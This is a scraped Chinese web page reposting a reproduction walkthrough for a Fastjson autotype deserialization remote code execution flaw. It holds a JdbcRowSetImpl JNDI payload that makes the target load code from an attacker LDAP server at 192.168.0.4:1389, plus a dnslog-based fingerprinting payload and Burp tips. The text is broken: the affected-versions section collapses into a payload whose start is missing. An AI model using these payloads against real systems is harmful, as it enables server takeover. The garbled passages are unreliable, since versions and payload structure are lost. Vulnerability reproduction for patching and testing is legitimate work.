Fastjson远程代码执行(CNVD |
您所在的位置:网站首页 › fastjson漏洞复现 › Fastjson远程代码执行(CNVD |
文章目录
0x00 漏洞简介0x01 漏洞详情0x02 影响版本0x03 漏洞复现0x05 Payload0x06 指纹识别0x07 注意事项0x08 漏洞修复
0x00 漏洞简介
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java对象。 0x01 漏洞详情Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象 Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。 0x02 影响版本fastjson "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://192.168.0.4:1389/1q9qke", "autoCommit":true } } 将rmi生成的利用链进行加载请求,一个失败就多尝试几个链。 发包执行命令成功: 参考:https://blog.csdn.net/qq_40007043/article/details/107615314 0x05 Payload更多其他环境参考:https://mp.weixin.qq.com/s/I0OdFPnRH_r1yZ04tOB-cw 0x06 指纹识别如果有报错回显,可以故意构造不完整json请求,返回的数据包会进行报错。 发送内容最后少了个括号导致数据包不完整从而报错,从返回的数据包中可以看到有fastjson字样。 如果没有报错回显,利用dnslog进行回显 {“zeo”:{"@type":“java.net.Inet4Address”,“val”:“p6ddoz.dnslog.cn”}} 0x07 注意事项复制输入payload相关的代码注意区分中英文符号。 Burpsuite数据包注意Content-Type为json。 0x08 漏洞修复升级到官方最新版本! |
今日新闻 |
点击排行 |
|
推荐新闻 |
图片新闻 |
|
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭 |